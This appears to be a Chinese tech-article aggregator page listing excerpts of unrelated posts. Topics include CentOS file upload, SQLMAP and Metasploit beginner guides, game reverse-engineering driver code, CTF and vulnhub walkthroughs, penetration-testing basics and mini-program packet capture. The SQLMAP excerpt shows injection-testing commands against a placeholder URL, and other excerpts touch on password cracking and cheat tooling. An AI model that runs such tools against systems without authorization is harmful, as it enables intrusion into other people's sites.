    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more